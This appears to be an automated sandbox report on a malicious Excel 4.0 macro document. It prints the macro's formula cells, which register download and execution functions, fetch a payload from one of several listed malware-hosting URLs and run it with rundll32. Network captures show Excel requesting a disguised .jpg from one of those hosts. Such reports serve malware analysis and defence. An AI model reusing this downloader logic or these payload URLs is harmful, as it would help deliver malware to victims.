                                                                                                                                                    ,,,,,,,,,,,,=B154(),"=FORMULA.FILL(kOTI!U54&kOTI!U55&kOTI!U56&kOTI!U57&kOTI!U58&kOTI!U59,BB53)","=FORMULA.FILL(kOTI!AC56,HI18807)","=EXEC(""r""&kOTI!AC60&"" ""&kOTI!AC59&"",D""&kOTI!AC61)",=B156(),=C156(),=HALT()"=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)","=FORMULA.FILL(kOTI!V53&kOTI!V54&kOTI!V55&kOTI!V56&kOTI!V57&kOTI!V58&kOTI!V59&kOTI!V60&kOTI!V61&kOTI!V62&kOTI!V63&kOTI!V64&kOTI!V65&kOTI!V66&kOTI!V67&kOTI!V68&kOTI!V69&kOTI!V70,HZ48004)","=FORMULA.FILL(kOTI!AC57,AN32726)","=Vuolasd(GT17028,AQ4875,1)",=B158(),=C158(),,"=FORMULA.FILL(kOTI!U62&kOTI!U63&kOTI!U64&kOTI!U65&kOTI!U66&kOTI!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)",,=B160(),=C160(),,"=FORMULA.FILL(kOTI!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)",=B162(),=C162(),"=Niokaser(0,GT17028,AQ4875,0,0)","=FORMULA.FILL(kOTI!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(kOTI!AC60,AS41071)",=A161(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(kOTI!AC61,HG9961)",,,=C154(),,,,,,,,,"=INDEX(B175:B181,RANDBETWEEN(1,8))&B170",,,"=RANDBETWEEN(2222222,8888888)&"".jpg""",,,,,,,,,,,,,,,refillexpress.in/bbrwhodjdi/,,,www.hitkiss.com/ecnamkijuudz/,,,test.limulustest.ru/invzovg/,,,granadaafuegolento.com/hkjwjolm/,,,gulabengineeringworks.in.net/bbndonbik/,,,infire-krby.sk/zzpbvheke/,,,kanaimukherjee.com/wfratccnjna/,,

                                                                                                                                                    Network Behavior

                                                                                                                                                    Network Port Distribution

                                                                                                                                                    TCP Packets

                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                    Jan 26, 2021 22:02:59.283102036 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:02:59.334429979 CET8049730188.225.73.5192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.334670067 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:02:59.335303068 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:02:59.385855913 CET8049730188.225.73.5192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.477097034 CET8049730188.225.73.5192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.477215052 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:04:04.479928970 CET8049730188.225.73.5192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:04:04.481442928 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:04:45.644201040 CET4973080192.168.2.3188.225.73.5
                                                                                                                                                    Jan 26, 2021 22:04:45.696533918 CET8049730188.225.73.5192.168.2.3

                                                                                                                                                    UDP Packets

                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                    Jan 26, 2021 22:02:43.267127991 CET5302353192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:43.282500029 CET53530238.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:44.802340031 CET4956353192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:44.819401026 CET53495638.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:45.604578018 CET5135253192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:45.619987011 CET53513528.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:46.806004047 CET5934953192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:46.821516037 CET53593498.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:47.920049906 CET5708453192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:47.936425924 CET53570848.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:51.740966082 CET5882353192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:51.757354975 CET53588238.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:54.385612965 CET5756853192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:54.401019096 CET53575688.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:55.680700064 CET5054053192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:55.698139906 CET53505408.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:55.931576014 CET5436653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:55.948748112 CET53543668.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:55.960680962 CET5303453192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:55.976349115 CET53530348.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:56.934958935 CET5436653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:56.954292059 CET53543668.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:57.966614008 CET5436653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:57.982305050 CET53543668.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.134639025 CET5776253192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:59.281130075 CET53577628.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.323585033 CET5543553192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:02:59.339422941 CET53554358.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:02:59.996150970 CET5436653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:00.012065887 CET53543668.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:00.875040054 CET5071353192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:00.890193939 CET53507138.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:03.994249105 CET5436653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:04.009783983 CET53543668.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:10.859946966 CET5613253192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:10.878865004 CET53561328.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:16.270122051 CET5898753192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:16.285604000 CET53589878.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:31.148304939 CET5657953192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:31.166752100 CET53565798.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:32.054917097 CET6063353192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:32.073771000 CET53606338.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:40.708586931 CET6129253192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:40.739656925 CET53612928.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:03:54.835051060 CET6361953192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:03:54.852008104 CET53636198.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:04:05.117136002 CET6493853192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:04:05.134108067 CET53649388.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:04:29.940210104 CET6194653192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:04:29.955487967 CET53619468.8.8.8192.168.2.3
                                                                                                                                                    Jan 26, 2021 22:04:31.945261955 CET6491053192.168.2.38.8.8.8
                                                                                                                                                    Jan 26, 2021 22:04:31.976411104 CET53649108.8.8.8192.168.2.3

                                                                                                                                                    DNS Queries

                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                    Jan 26, 2021 22:02:59.134639025 CET192.168.2.38.8.8.80x82a9Standard query (0)test.limulustest.ruA (IP address)IN (0x0001)

                                                                                                                                                    DNS Answers

                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                    Jan 26, 2021 22:02:59.281130075 CET8.8.8.8192.168.2.30x82a9No error (0)test.limulustest.ru188.225.73.5A (IP address)IN (0x0001)

                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                    • test.limulustest.ru

                                                                                                                                                    HTTP Packets

                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                    0192.168.2.349730188.225.73.580C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                    Jan 26, 2021 22:02:59.335303068 CET141OUTGET /invzovg/5319402.jpg HTTP/1.1
                                                                                                                                                    Accept: */*
                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                    Host: test.limulustest.ru
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Jan 26, 2021 22:02:59.477097034 CET142INHTTP/1.1 200 OK
                                                                                                                                                    Server: nginx/1.16.1
                                                                                                                                                    Date: Tue, 26 Jan 2021 21:02:59 GMT
                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                    X-Powered-By: PHP/7.1.28
                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                    Data Ascii: 0


                                                                                                                                                    Code Manipulations

                                                                                                                                                    Statistics

                                                                                                                                                    CPU Usage

                                                                                                                                                    Click to jump to process

                                                                                                                                                    Memory Usage

                                                                                                                                                    Click to jump to process

                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                    Behavior

                                                                                                                                                    Click to jump to process

                                                                                                                                                    System Behavior

                                                                                                                                                    General

                                                                                                                                                    Start time:22:02:53
                                                                                                                                                    Start date:26/01/2021
                                                                                                                                                    Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                    Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                    Imagebase:0x240000
                                                                                                                                                    File size:27110184 bytes
                                                                                                                                                    MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                    Reputation:high

                                                                                                                                                    General

                                                                                                                                                    Start time:22:02:58
                                                                                                                                                    Start date:26/01/2021
                                                                                                                                                    Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                    Commandline:rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
                                                                                                                                                    Imagebase:0x130000
                                                                                                                                                    File size:61952 bytes
                                                                                                                                                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                    Reputation:high

                                                                                                                                                    Disassembly

                                                                                                                                                    Code Analysis

                                                                                                                                                    Reset < >